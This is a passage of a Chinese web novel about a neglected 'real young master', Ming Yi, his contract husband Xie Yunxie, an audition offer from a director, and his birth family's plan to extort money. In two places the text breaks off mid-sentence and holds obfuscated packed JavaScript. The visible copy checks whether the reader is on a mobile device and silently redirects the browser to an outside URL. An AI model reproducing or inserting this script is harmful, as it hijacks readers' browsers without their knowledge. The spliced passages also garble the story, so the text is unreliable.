沈莉蓉更加不满:“话题都是慢慢培养出来的,你每次都这样,见一面就不见了,怎么可能有话题!” 燕安不明所以,好奇问道:“妈妈,大哥去相亲了?” 沈莉蓉冷笑:“是啊,他眼光高着的,不知道要找什么样的天仙才肯满意。” 燕安见燕知衡脸色不好,似乎对相亲的事十分抗拒,忍不住帮燕知衡说了句话:“妈妈你也不用这么着急,大哥现在忙事业呢,可能也没心思想别的吧……” 燕安只是像以往一样打圆场,没想到沈莉蓉忽然把筷子往桌上重重一拍,脸上竟生出了怒色,含沙射影道:“没心思?我看他心思多着呢!” 说罢,直接上楼回了房间,连背影都透着怒意。 燕安吓了一跳,等沈莉蓉上楼,才小心翼翼地问燕知衡:“大哥,妈妈她怎么了?” 燕知衡亦是沉着脸:“没事,她就是又急着催婚了,别理她。” 家里气氛诡异,燕安洗了澡出来后,越想越不对劲。 他本想趁着晚饭问问舆论的事,可饭桌上那种情况,他都没能开口。 最关键的是,他不提,燕知衡和沈莉蓉也没有提起这件事,好像对他名誉受损的事半点不在乎,这就很奇怪了。 妈妈和哥哥一向都是很宠他的。 燕安忍不住想,难道是明夷又做了什么? 他必须找到背后的原因才能安心。 燕安想了想,去了沈莉蓉的房间里,旁敲侧击了一下沈莉蓉对明夷的态度。 沈莉蓉现在心烦意乱,满脑子都是刚刚燕安抱住燕知衡的一幕,看到燕安,头就更痛了:“你老问明夷做什么,他能跟我说什么?这孩子以前确实吃了点苦头,在综艺上抱怨几句,也怪不了他。” 说到这里,她心里闪过一个念头,没有说出来:而且网上说的没错,你也确实不是燕家亲生的孩子啊。 忍了又忍,沈莉蓉实在没忍住,对燕安说:“安安,你是不是太娇气了,明夷以前也在网上被骂过啊,骂得还比你这个难听多了,那时知衡不也没管?” “……”燕安张了张嘴,一时间竟哑然失语。 “你们演员啊,陷入争议是很普遍的事情,做这一行,必须要有一点抗压能力。”沈莉蓉苦口婆心道:“这一点你得多跟明夷学学,不要理会那些言论就行了。” “对了,还有一件事妈想跟你说。”沈莉蓉忽然压低声音,神情也多了几分犹疑之色。 燕安忽而有了不好的预感,果然下一秒,他就听到沈莉蓉缓缓说:“你跟燕知衡毕竟也大了,平时还是要注意一下分寸和距离……别像小时候那样了,不太符合你们现在的身份……” 刹那间,燕安如遭雷击。 妈妈居然让他和大哥……注意距离? 妈妈这是真的把他当成外人了吗?? 沈莉蓉说完这段话,神色更加烦乱,摆了摆手,让燕安出去。 燕安恍恍惚惚地出门,下意识往燕知衡的书房走,想跟大哥说一说这件事,可他刚走到书房门外,就被疾步赶来的管家给拦下了。 “大少爷有事在忙,安少爷你先回去休息吧。”管家保持着礼貌微笑。 燕安看着管家,心口一下子凉了下来。 管家会这么做,绝对是沈莉蓉交代的。 妈妈不让他接触哥哥了?为什么? 难道是觉得,他会跟哥哥发生点什么吗? 燕安眼眶发红,眼中泛起了泪花,是被气的,也是被委屈的。 他这是被当成什么人了! 管家目送燕安抹着泪飞快跑回自己的房间,叹了口气。 造孽啊。 - 明夷还不知道自己那通挑拨离间的电话打出去,把燕家搅成了什么样子。 他难得把那些乱七八糟的烦心事抛在脑后,把狗狗用品全部收拾了一遍,高高兴兴地跟小松熊玩到半夜,到困极了,才肯抱着小狗沉沉睡去。 但小松熊还不会定点上厕所,所以半夜,明夷就被小松熊尿醒了。 明夷:“……” 手忙脚乱了一整夜,第二天明夷出门时,脸上挂着大大的两个黑眼圈。 谢云歇吃了一惊,端详着他困蔫蔫的脸:“有小狗了就这么开心吗?这是跟小松熊玩了一整晚?” 明夷蔫蔫道:“它尿床了。” “是吗?”谢云歇看向明夷怀里的小狗,故意说:“看来小松熊是坏小狗无疑了。” 小松熊弱弱地“呜”了一声,湿漉漉的眼睛紧盯着谢云歇,害怕地往明夷怀里缩。 “它才不是坏小狗。”明夷连忙安抚地摸摸小松熊的脑袋,瞪了谢云歇一眼:“不要说它!” 谢云歇被瞪了一眼,有点飘飘然,嘴上积极承认错误:“好好好,我错了,它是乖小狗。” 明夷警告地又瞪了他一眼,换好鞋就抱着小狗出门了。 谢云歇忙着工作,没法陪明夷一起去宠物医院,便安排了司机送明夷过去,那是一家私人宠物医院,服务态度一流,同时能很好地保护客户的隐私。 明夷顺利给小松熊做了检查,一套检测下来,显示小松熊的身体非常健康,没有任何问题。 刚到家的小狗不能马上打疫苗,做完检查后,明夷就带小狗回了家,还专门查找了新手养狗方法,准备教小狗定点上厕所。 一天时间一晃而过。 谢云歇回来时,意外地发现家里的灯开着,喜欢独自躲在房间里的明夷竟然也出来了,正在厨房开火做饭。 空气里飘着浓郁的饭菜香味,使得这座空荡冷清的大别墅,竟也多了几分类似于家的温馨。 小松熊在客厅抱着一条玩偶小鱼凶狠撕咬,看到谢云歇进门,立即对他发出奶凶的犬吠声。 明夷听见声音,从厨房走出来,边脱下身上的围裙,边对谢云歇说:“你吃过没有?” 明夷今天穿了米白色的毛衣,整个人看上去柔软得有点过分,搭配着身后的烟火气,显得格外真实,谢云歇看着他,愣愣回答道:“没有。” “我做了腌笃鲜,你可以一起吃。” 谢云歇应了一声,脚步飘飘然地进了门,小松熊且吠且退,一直退到明夷脚后,俗称又菜又爱玩。 明夷端出一碗狗粮,把小松熊引到了另一个房间里,有饭吃,小松熊就顾不上谢云歇了,屁颠颠跟着明夷走。 上了饭桌,谢云歇没话找话,试着关心了一句:“小松熊的检查结果怎么样?” “医生说没什么问题,很健康。”明夷微微抿唇,露出点笑容:“等过个十天,我再带它去打疫苗。” 谢云歇发现,明夷果然还是笑起来更好看。 桌上放着一碗色泽鲜亮的腌笃鲜,谢云歇盯着看了一碗:“汤里的笋是……” “节目结束时还有剩的,我就跟纪年和沈盼分了分,拿了点笋回来。” 其实明夷本来没想拿笋的,想起谢云歇有问过腌笃鲜的味道,明夷才拿了几颗笋回来。 谢云歇听了后有点受宠若惊,特别小心翼翼地舀了一碗的笋汤——这可是明夷记挂着他,千里迢迢给他带回来的笋! 不是每个人都有这个福气,能够吃上纸片人老婆亲手做的汤! 谢云歇细品了一口,真心实意地夸赞道:“好喝!” 明夷垂眸喝自己的汤,被夸了也没有别的反应,安静地吃了一会儿饭后,他才开口问道:“之前你说剧情线偏移了,后来有恢复正常吗?” 谢云歇像模像样地叹了口气:“哪能啊,越偏越厉害了。” 明夷不动声色道:“没办法强行修正回来?” 谢云歇淡定道:“系统要是有这本事,还找来我这个冒牌货干什么?遇到无法解决的不可控因素,连系统都没办法插手的。” “对了,你怎么突然爆瓜出来,你这样,让燕安怎么做伟光正主角啊?这次就算了,下次可不许了哦。” 明夷讥诮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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明夷猛地坐起身,去笼子里抱出了嗷嗷呜鸣的小松熊,他叹了口气,将脸贴在小狗的头顶,汲取那点令人眷恋的温暖。 - 直播结束后,《我们在路上》的节目组抓紧时间剪辑,第三期的综艺内容总算在几天后正式上线。 这个时间点赶得正好,有关“真假少爷”的热度还没过去,剪辑版上线后,闻讯而来的新观众立即凑了这个热闹。 纪年正好在家,于是也被母亲拉着在沙发坐下,被迫打开电视看自己的综艺。 纪年无语道:“妈,这综艺你都看多少期了,还没看够吗?” 纪母捂着嘴笑:“看不够,每次看你倒霉,妈妈我啊,都能高兴一整天。” “……”纪年不知想到什么,忽然嘚瑟起来:“那你这次的希望恐怕要落空了。” 前置广告放个没完,纪年打了个哈欠,隐隐听到书房那边传来亲爹暴躁的声音,不由道:“老爸还没找到新演员呢?” 纪母盯着电视,翻了个白眼道:“他眼光高得很,一会儿说这个丑,一会儿说那个没气质,挑来挑去,结果到现在都没找到。” 纪年的母亲在某大学任职,父亲则是圈里的知名导演,正是受到父亲的影响,纪年才踏上娱乐圈这条路,并且一路走得还算顺畅。 纪鸿筹备开拍的那个新项目,纪年早就有所耳闻,本来他还想借着他爹的关系进去蹭个角色,结果硬是被他爹轰走了,理由是他不适合古装造型,会让观众出戏。 ……就离谱。 这个新项目筹拍时轰轰烈烈,结果临到关头,饰演反派的主演被其他公司挖走了,纪年听说这个角色在原著中非常关键,因此他爹为了找到合适的人替补,整个人变得格外严苛。 纪年想了想,去了书房,在外面敲敲门。 “进来。”纪鸿刚打完一个电话,眉眼间还透着疲惫,纪年进去,翻了个白眼:“我说你凑合一下得了,至于这么较真吗?再耽搁下去,戏还拍不拍了?” 纪鸿一听,立马红温,激动拍桌道:“怎么凑合?啊?你让我怎么凑合!这个故事的灵魂人物就是无妄仙君应不染,他演砸了,整部戏绝对也会砸了!有条件当然要找最适合的!” 纪年已经习惯亲爹发疯了,漠然抱臂道:“那你究竟要找什么样的?” “首先,一定要好看!”纪鸿咬牙道:“其次,也是最重要的一点,就是他必须要有那种破碎的美感!” “但他又不能完全碎,”纪鸿神经质地比划:“他要将碎未碎,要有一股火在他心里燃烧……你懂那种感觉吗!他一定要既脆弱,又强大……” 纪年怜悯道:“什么脆弱又强大的,老爸你有空去精神科看看吧。” 提起精神科,纪年还真想到一个人:“不过说到破碎感,我倒是想起一个蛮符合条件的人,长得也挺不错。” 纪鸿皱眉:“谁?” “燕家的那个燕明夷。” 纪鸿在脑海里搜索了好一阵,才回想起这么个人,印象里,此人长相虽好,演技却非常之烂。 “他不行,演技太烂了。”纪鸿断然拒绝。 “演技烂可以调.教啊,”纪年说:“他身世也挺像的,幼时被互换身份,在农村待了十四年,回到燕家后爹不疼娘不爱,不知道经历了什么,现在精神状态都不太好……” 听到这里,纪鸿终于提起一点兴趣:“互换身份?” 纪年直接给他拉到客厅,这时综艺已经开播了,镜头恰好给到了明夷。 来时的山路上,明夷靠着座椅,毫无表情地看向车窗外的山景,斑驳的阳光落在他的侧脸上,没有留下丝毫的温度。 他就如同远处的群山一般,沉默,寂然。 一股活人微死感迎面扑来。 纪鸿心头的那根弦却忽然被拨动了。 就是这种感觉。 那种要死不死的拉扯感…… 对味了。 15.明家的谋划 随着明夷出现在镜头里,飘过的弹幕瞬间增多。 【慕名打卡!】 【打卡真少爷!】 【?ymy这段时间去整容了,以前他长这样吗?】 【ymy问得好……我好像可以理解为什么他讨厌燕安了,谁会喜欢抢走自己家人和身份的人啊?】 【别真少爷假少爷了,烦不烦,好好看个综艺不行吗?】 【燕安粉闻着味来了,小偷小偷!你家哥哥就是小偷!】 弹幕里争吵了起来,但画面里,明夷抛出真假少爷的重磅炸弹后,下一个镜头就很有灵性地给到了燕安身上。 “都说安安跟明夷的关系不是很好,传言是真的吗?” “当然不是,”镜头下,燕安坚定摇头,笑得无邪:“我们是一家人,闹点小矛盾是正常的,二哥他……只是脾气有点不好,但人是很好的。” 【……】 节目组大概有故意搞事的意思,竟然故意把燕安的镜头剪到了明夷的后面,燕安这段话,听着很是兄友弟恭,但放在明夷那些“直言直语”的话后面,就显得有点微妙了。 【一家人?燕安你确定你是吗?】 【就这么水灵灵地把自己当成燕家人了呢。】 【怎么感觉有点茶?你二哥脾气为什么不好,你不知道?】 燕安粉大怒,跳出来跟这些人骂成一团,到了嘉宾汇合的时候,燕安粉终于找到机会反嘲讽回去。 【ymy还敢上综艺?上次他单方面霸凌所有嘉宾,还没被骂够吗!】 【这个综艺是要一定的动手能力的,他能干什么?就他那个眼高于顶的样子,谁跟他组队谁倒霉!】 然而镜头一转,明夷所在的三人小队上了山,明夷却没有像以前上综艺一样,始终游离于队伍之外,而是很利落地挖笋装篮,明明是十分单薄的身影,看上去却莫名显得可靠。 没一会儿时间,明夷就凭一己之力拉开了跟另一组的差距。 再看燕安组,燕安就跟脚底抹了油似的,脚下不停打滑,直接拖累了整组的进度,导致祝羽不得不留下陪着他。 最离谱的是,这两个人留下了,最后居然是腰不好的季展云去挖的笋。 【???】 【季影帝腰不好,怎么好意思让他去挖笋的?明明可以祝羽去挖,让影帝留下来陪燕安啊!】 【祝羽也是恋爱脑上头了吧,都跟季影帝搭了这么多期了,这么要紧的事都想不起来吗??】 【我说燕安的脚怎么就这么滑,放大仔细看了眼他的鞋,忽然找到了答案】 有心细的观众这么一说,很快有更多的观众注意到了燕安脚上的鞋——某知名潮牌,时尚感管够,防滑力不足。 价格侠在弹幕打出价格:【官网价6388。】 闪瞎了一群观众的狗眼。 再看那双沾满了泥巴,被糟蹋得不成样子的鞋,观众们心里都不是滋味。 【假少爷穿得都这么好啊,看看真少爷?】 又有人去扒了明夷当天穿的鞋,居然只是一双三百多块的平价款。 见此,观众们全都义愤填膺了起来。 【钱在哪里爱在哪里,只能说爱与不爱真的很明显。】 【服了,在燕家亲儿子都比不过假儿子吗?燕安他怎么敢心安理得地继续待在燕家的啊!滚回他的亲生父母家里去啊!】 【ymy干活干得这么熟练,不知道过了多少苦日子,燕安倒是当少爷当爽了,被苦主骂几句,还有一堆nc粉护着,呵呵。】 在镜头里,明夷坦然地向纪年吐露了自己的一部分过往,那些艰苦的岁月被他轻飘飘地说出来,好像只是他人生中一道平平无奇的剪影,但观众听了后,就跟综艺里的纪年和沈盼一样,抓心挠肝地难受。 要知道,明夷原本完全不用遭遇这些,他是燕家的二少爷,本该可以锦衣玉食地长大,获得父母全部的疼爱。 这完全是一场无妄之灾! 【狗血,真是太狗血了,怪不得说艺术来源于现实……】 【点了,别给我说燕安无辜不无辜的,那可是十四年的苦日子,ymy就不无辜了?他垫着椅子给全家做饭,出门割猪草的时候,燕安在燕家当他的小王子,这对吗?】 【啊啊啊啊代入一下已经被气死了,谁来赔ymy的人生啊!】 这下连燕安的粉丝都不敢吭声了。 …… 当天的内容还没播放结束,关于“鞋”的话题热度便悄然攀升。 该博主将燕安和明夷的鞋单独圈了出来,先浅浅吐槽了几句,然后以小见大,从出道方式、资源、圈内名声等各个方面进行对比,最后分析出一个结论—— 那就是从出道以来,明夷一直在给燕安作配。 燕安不要的代言,明夷接了;燕安不要的资源,明夷顶上了;燕安参加的综艺,总有明夷在旁当对照组。 最后的结果,就是明夷一直被骂,燕安一直在被同情,得到好名声。 该博主在文章的末尾说:【或许一直以来,都是我想错了,ymy可能没有故意要当学人精的意思,他之所以一直模仿着燕安,追逐着燕安,有没有可能是因为……其实他根本没有选择的权利?否则根本无法解释,为什么ymy背靠燕家,却永远接不到像样的、适合他的资源……】 该博文很快引发热议,吃瓜群众纷纷下场参与讨论。 【不用分析来分析去,直接看最终受益人是谁就行了,ymy妥妥垫脚石。】 【ymy确实挺惨的,但他演技就是差啊,那些角色给他,他但凡演好一个就能翻身,机会给他,他自己也不中用啊!】 【演技烂这点……嗯,确实没法否认,那叫一个车祸现场。】 【不懂就问,燕安只是个假少爷,他们豪门不是最注重血脉了吗?怎么不把燕安赶走?】 【养出感情了呗,十四年,养条狗都养出感情了,更何况是人,燕家又不缺燕安这口饭吃,两个都要没什么好奇怪的。】 【太狗血了,这瓜能硬控我大半年!】 网上发生的热议,电视前的纪母并不知晓,她看完综艺,叹了口气:“明夷这孩子,怪不容易的。” 纪年也叹了口气:“你别看他不太爱说话,他人挺好的,就是感觉有点抑郁了,我让他去二婶那看看,也不知道他有没有去……” 说完,他看向自己的老父亲,发现纪鸿眉头轻皱,盯着电视屏幕出神,像是在思考着什么。 纪年饶有兴趣地问:“怎么样?” 纪鸿这才恍然回神,匆匆丢下一句“我再想想”,便心事重重地进了书房。 这次,纪鸿没再看其他演员的资料,而是调出了《我们在路上》的直播回放。 纪鸿看到卷着袖口,双手满是泥土的少年坐在地摊旁,来来往往的人从他身边路过,却无一人为他停留。 看到少年蹲下,笑着抚摸小狗,看到少年血染衣襟,无声而痛苦地泪流满面。 看着看着,心头跳得越来越快,纪年脑海里倏然闪过一个想法。 演技差点就差点吧……大不了他现场教…… - 《我们在路上》将一期内容拆成了上下两集,一天放一集。 放到下集的那个晚上,明夷接到了新经纪人的电话。 跟谢云歇的公司签约后,明夷和新经纪人联络得并不多。 从《我们在路上》节目组回来后,明夷没有新的工作可接,也就闲了下来,这还是最近第一次,新经纪人主动打电话给他。 明夷疑惑地接了电话,几乎是刚接通,那边徐姐喜滋滋的声音就传了过来:“明夷,你在家吗?” 明夷迟疑道:“在家……怎么了?” “那你等会儿,我马上过来,亲自跟你说!天大的喜事!” 电话挂断了,明夷抓了抓乱糟糟的头发,跟咬着地毯玩的小松熊大眼瞪小眼。 很快,明夷就知道了所谓的“喜事”是什么。 “……试镜?”明夷愣愣地:“我吗?” 全娱乐圈都知道他演技差,居然还会有导演看上他? “是啊!”徐姐抑制住话语里的激动:“那可是纪导的新电影!好多人挤破头都挤不进去呢!” 纪导的名声明夷当然听过,一个很有名的导演,捧红过数个明星,还在国际上拿过奖。 纪导的电影根本不愁没人来拍,怎么会突然看中声名狼藉的他? 徐姐发现明夷并没有她想象中那么高兴,反倒一副心事重重的模样,她收敛了脸上的笑,关切地问:“怎么了明夷?你有什么顾虑吗,可以跟我说说。” “我……”明夷张了张嘴,感到喉咙艰涩:“我演不好的。” 徐姐不由哑然:“怎么会呢?” 明夷拿着手里薄薄的试镜剧本,只觉它烫手无比,他将剧本还给自己的经纪人,苦笑道:“我在圈里是公认的演技差,就算去试镜,也绝不可能成功……徒惹笑话罢了。” 徐姐从业这么多年,从没见过如此不自信的明星,她又是哄又是劝,都没能让明夷提起信心。 就像已经燃尽了生命里的火,此刻,他的心中只剩一些没有温度的余烬。 徐姐暗道不好。身为老板特意安排给明夷的经纪人,无论是为自己的前途考虑,还是为明夷的前途考虑,徐姐都不忍让明夷错失这次绝佳的机会。 思索片刻后,离开谢宅的徐姐给老板打了个电话,简单说了说这件事,并委婉提出,希望老板可以鼓励一下自家艺人。 虽然是联姻夫夫,但自家老板不像完全不在意的样子,应该会帮着劝一劝的……吧? 傍晚,谢云歇开了个会,很晚才回到了家。 客厅里没开大灯,只开着电视,明夷抱着小松熊,沐浴在昏暗的荧光里,侧脸木木的,没有什么表情。 大屏幕上,恰好给到了黄桃的镜头。 这时候的黄桃还是鲜活的,小松熊绕着它跑来跑去,它纵容地放任孩子在身侧玩耍,朝着嘉宾们热情地摇尾巴。 明夷一眨不眨地看着屏幕里的黄桃,好像有点入神了。 谢云歇脱了西装,抬手松了松领带,然后大步走过去,找到遥控器,直接按了暂停键。 屏幕里的画面顿时定格住了。 “别看了。” 明夷没有反应,沉默了许久,才缓缓开口:“黄桃出事的时候,我一直在想,如果我没有跟小松熊玩就好了。” “如果我没跟小松熊玩,小松熊就不会跟着我,黄桃也不会被我带到山路上,掉进山上的陷阱里。” “如果我保持冷漠,没有做出那么香的饭,黄桃就不会被我吸引过来,或许……它现在还会好好地活着。” 明夷说着,瘦削的肩膀渐渐颤抖了起来,声音亦有些变调:“如果……如果我没有走上这条不一样的路……它的命运,或许不会被我改变。” 按照原本的剧情,明夷三人组不会遇见黄桃和小松熊。 因为没有遇见,之后发生在黄桃身上的悲剧,也不会再发生。 是他不甘于命运的安排,妄想改变这一切,才引发了一连串连锁效应。 黄桃是他害死的吗? 黄桃死后,明夷一直控制不住地思考这些问题,他得不到答案,只能将所有的注意力转移到小松熊身上,用那些琐碎的小事填补吞噬着他的黑洞。 谢云歇一时间没有说话,他在明夷身旁坐下,轻声叹息道:“明夷,没有所谓的‘如果’,命运的未知性本就无法揣测。” “在没有你干预的命运里,黄桃和小松熊或许会因为无人投喂,一起被饿死在山里。”谢云歇平静而残忍地指出另一种可能性:“山里的陷阱一直存在,你怎么知道,它们不会再掉进去一次?” 明夷用双手痛苦地捂住脸,颤抖地吐息,没有出声。 “不要用莫须有的事情苛责自己,明夷,”谢云歇深深注视着低垂着头的少年,伸出的手迟疑片刻,轻轻落在少年颤抖的肩膀上:“你已经做得够好了,你看,至少你救了小松熊。” 明夷抬起红着的眼睛,看到了小狗湿漉漉的眼睛。 “不要害怕挑战命运,一旦你畏于与它抗争,就会被它从身上无情地碾压过去。”谢云歇按在明夷肩上的手加重的力道:“你已经尝过被命运碾压的滋味了,你要向它认输吗?” 明夷动了动嘴唇,看向他。 最终,明夷颤声开口:“不,我不要认输。” 谢云歇放缓了语气:“那为什么不想去试镜?” “因为……我做不到,”明夷近乎茫然地说:“我做不到的。” “那可是纪导,我怎么可能通过他的试镜?” 明夷痛苦地将自己的心剖给谢云歇看:“我演技那么差,一定会被所有人嘲笑不自量力!我不敢去!我做不到!” “我已经……不会演戏了。” 明夷曾被NG过几十次,那已经成为他最深的梦魇,他被打怕了,他再也无法重拾曾经对演戏的向往和喜爱,他只能像乌龟一样,缩回最安全的壳里,以免再受伤害。 旧日的梦魇再次袭来,明夷彻底失态了,连谢云歇用力抱住他,他都没有推开。 他太需要这个拥抱了。 明夷不顾形象地趴在谢云歇肩头哭泣,不管不顾地发泄一通,不知过了多久,他才抽噎着止住了眼泪。 “你怎么会做不到?”谢云歇用指腹抹去明夷脸颊上的泪水,温和且坚定道:“你做的到的。” “如果你做不到,纪导怎么会主动给你发试镜邀请,你不相信大导演的眼光?”谢云歇轻声道:“这是你第一个你自己争取来的机会,你不想去试试吗?” “不作为任何人的替身和陪衬,单单作为你自己。” 明夷仍抽噎着说:“我、我自己?” “对,你自己。” “就算退一万步来说,你过不了试镜,但这可是纪导的片,很多人都通过不了,就算你也失败,也没什么好被人笑的吧,毕竟大家都一样菜。” “万一走狗屎运通过了,那你就赚翻了,对不对?” 一套丝滑话术,成功哄住了明夷。 明夷吸了吸鼻子,仔细想想,确实是这个理。 谢云歇见明夷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177690|163640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点缓过来了,忙更加天花乱坠地哄人:“而且说不定你刚好特别适合这个角色呢?随便演演都能达到逆天效果,当场惊艳纪导,哭着喊着要把你捧成新一代影帝……” 越说越离谱了……明夷瞪了谢云歇一眼,多亏了谢云歇天马行空的扯淡,他的理智终于渐渐回笼了。 明夷这才意识到,自己刚刚都做了什么蠢事—— 不仅趴在谢云歇怀里崩溃大哭,还把眼泪全部都流在了谢云歇的衣服上…… 明夷有些心虚地瞄了过去,发现谢云歇的衬衫肩头果然多出了一小片湿痕——刚刚被自己哭湿的。 尴尬,局促。 明夷耳朵红红的,胡乱擦了一把脸。 好在谢云歇绅士地没有笑话他,而是贴心地转移了话题:“现在你想去试镜了吗?” 明夷抿了抿唇:“去试试吧……反正我的名声不会更糟了。” “不会有人笑你的,”谢云歇正了正神色,严肃地说:“如果有人笑你,你就告诉我,没品的东西,我见一个给一拳。” 这都是什么话啊…… 不过谢云歇这么一说,明夷心中莫名安定了很多。 反正事情已经够坏了,再坏能坏到哪里去呢? 明夷重新拿起了试镜剧本:“那……我去看看剧本?” 谢云歇热情地鼓励他:“去吧,加油!” 看着明夷带着小松熊走进房间,谢云歇坐在沙发上,长长吐出一口气。 他伸手摸了摸后颈微微发热的腺体,有些无奈地想,还好明夷只哭一会儿就没哭了。 不知道怎么回事,光是听明夷在他怀里脆弱无助地哭,他腺体都热了,还控制不住地放出了安抚信息素。 虽然对明夷没什么用,但释放安抚信息素这件事本身就挺迷惑的。 因为Alpha一般只会对心仪的omega这么做,而他却对明夷这么做了,这叫什么事? 明夷是他喜欢的纸片人老婆,不是真老婆啊! 腺体,你给我冷静下来啊! 谢云歇心里这么想,脑子却控制不住地回味刚刚抱住明夷时的触感。 好软,抱着好小一只,可以严丝合缝地整个嵌在怀里…… 等等!谢云歇骤然清醒了过来,咬着牙掐了自己一把。 不能再想下去了!明夷是他并肩作战的战友!是兄弟! 不要乱发.情啊该死的腺体! 谢云歇冲去厨房,从冰箱里捞出几颗冰块,包了块布,直接冷敷腺体,让它知道谁才是身体的主人。 这动静惊动了系统,系统扫描了一遍它的宿主,意外道:【宿主,你的腺体在发热,你还好吗?】 谢云歇淡然道:“没事,你知道的,我腺体有病,这是正常现象。” …才不是因为喜欢上了谁。 - 在这个夜晚,无数人打开电视,收看了新一期的《我们在路上》。 某个杂乱的房间里,一个人同样紧紧盯着屏幕,三角眼中闪烁着精明的光。 地上丢着乱七八糟的零食袋子,剩下一小截的烟蒂落了一地,小小的茶几上丢着没收拾的剩菜剩饭,浮着的油已经凝固了,隐约散发着一股馊味。 沙发上的人却像是恍然未觉,他拿出手机,快速在搜索框输入两个人的名字,由“鞋”引发的热门话题顿时映入了他的眼帘。 “六千块的鞋!!”明耀宗顿时发出不可置信的惊叫,眼中迅速爆发出贪婪的光。 就在此时,门外传来暴躁的谩骂声:“那个死丫头真是翅膀硬了!敢挂我电话!等她回来,老子非打死她不可!” 另一道尖利的声音接着响起:“就不该供那个小贱蹄子读书,跑出去就不回来了!多大的年龄了,还不嫁人,就知道在外面鬼混,我的脸都给她丢尽了!” 明耀宗不耐地轻啧一声,盯着手机,不停地往下翻评论。 一个模糊的念头渐渐成型。 他猛地起身,开了门,扯着声音喊道:“爸妈!我们去问三弟拿点钱吧!” 门外骂声连连的中年男女顿时止住声音,疑惑地朝他看来。 “找你三弟?”中年男人重重冷哼了一声:“那个白眼狼?他亲爹妈不是给钱把他领回去了吗,一年到头消息也不给一个,咱们哪还能问他要到钱……妈的,白给别人养那么久的儿子!” “爸,我说的不是假三弟,”一缕贪婪的笑意在明耀宗脸上蔓延开来:“是真三弟啊!” 中年妇女目光一闪:“你说的是……安安?” 明耀宗举起手机,给他看手机上的图片:“爸妈,你看,我们家安安现在是大明星了,他都能穿得起六千块的鞋子,让他随便拿点钱给我们家,还不是洒洒水?” 中年妇女看到图片上的价格,有些意动,但不知想到什么,脸上露出点犹豫神色:“可是那家当年给了我们家两百万,不仅把明夷带走了,还不准我们家再接触安安……” 当年明夷被燕家找回去,家里无端损失了一个赚钱的劳动力,亲儿子又被燕家留下,见不到影子,明家当然不肯,集结了一群亲戚,去燕家大闹了一场,最后拿到了两百万,条件是不准再接触燕安和明夷。 拿着这笔钱,明家推倒重建了老房子,还给二儿子明耀宗攒够了老婆本,一时间在亲戚里扬眉吐气。 谁知明耀宗根本不争气,这些年又是赌又是嫖,等他爹妈发现的时候,他已经将老婆本挥霍得差不多了。 明家急得不行,他们家的好大儿眼看到了娶老婆的年龄,没钱怎么行?为了筹钱,他们甚至把主意打到了早已离开家打工的大女儿身上。 但结果可想而知,大女儿根本不鸟他们。 现在听明耀宗这么一说,明家夫妇不免都有点心动。 是啊,燕安毕竟是他们的儿子,现在燕安也有出息了,打打感情牌,问他要点小钱,想必他不会不答应的吧? 中年妇女还是有些迟疑,他们这些小老百姓,对那些有权有势的有钱人是有点畏惧的,当年被燕家警告过后,他们就没再敢打燕安的主意:“可是,万一被燕家知道了……” “哎呀妈,你怕什么,我们偷偷找安安不就行了?”明耀宗亲亲热热地把手放在母亲的肩上,笑嘻嘻道:“再说了,安安现在是大明星,多少人盯着呢,要是燕家敢动我们,我们就找媒体把事情闹大!安安可是你的亲儿子啊,哪有扣住不让亲生父母看的道理,对不对?” 越听,明父的眼睛就越亮,见妻子畏畏缩缩,他狠声骂道:“妈的,父母问自己孩子要钱怎么了,要不是我们生了他燕安,他哪能当他的大明星!” “不仅要问燕安拿钱,咱们还要找那个白眼狼要钱!妈的,两百万就把老子打发了,老子可是白白养了别人的儿子十四年!” 明耀宗闻言撇嘴,心想,就明夷那个穿几百块鞋子的穷鬼,找他能要到什么钱? 明明是真少爷,回到家却不受宠,当明星还当得像过街老鼠,呸!这个废物,真是白瞎了燕家少爷的身份,就该是在他们家当牛做马的命! 一家人商量了一晚上,最终决定——趁着热度高,尽快进城要钱! 16.鸡汤 “笃笃笃——” 敲门声传来的时候,明夷正靠在床头看剧本。 躺在他身边昏昏欲睡的小松熊也被惊醒,猛地翻身站起来,朝着门口超凶地吠了几声。 明夷赶紧放下剧本,把小松熊抱在怀里,试探着提声开口:“谁?” “是我。” 明夷按了按酸痛的太阳穴,也是他看剧本看糊涂了,谢云歇把佣人都遣散了,这个点除了谢云歇,还有谁会敲他的房门? 明夷下了床,过去开了门,一双眼睛略带疑惑地看向门口的谢云歇,谢云歇穿着睡衣,怀里还抱着一些书,看上去有事找他。 真见到了人,小松熊反而不叫了,嗖的一下蹿进了笼子里,在狗窝底下安静如鸡地躲好了。 谢云歇比明夷高了半个头,低头看来时,往往会给人带来一丝压迫感,明夷被他看着,有点不自然道:“……有事吗?” “已经很晚了,”谢云歇开口,灰蓝的眼睛一眨不眨地注视着明夷:“还在看剧本吗?” 明夷轻轻“嗯”了一声。 谢云歇有点不赞同道:“你明天一早就要去试镜,该早点睡觉。” 明夷实话实话:“有点焦虑,睡不着。” 谢云歇没说别的,抬眼看了眼他的房间,用试探的语气问:“我可以进去坐坐吗?” 进来?明夷犹豫一瞬,迟疑地同意了。 卧室是私人空间,另一个不算熟悉的人突然进入,很容易令人产生被侵/犯领地的不适感。 好在谢云歇进来后没有乱看乱摸,而是老老实实地坐在椅子上,摆出了一副促膝长谈的架势。 明夷在床边坐下,用眼神提出疑惑:“?” 这人,究竟是来干什么的? 谢云歇这时貌似真诚道:“看你这么焦虑,一时半会应该也睡不着,不如给你喝点鸡汤吧。” “鸡……汤?” “个人励志事迹,”谢云歇神神秘秘的:“听完后,你或许就不会这么焦虑了。” 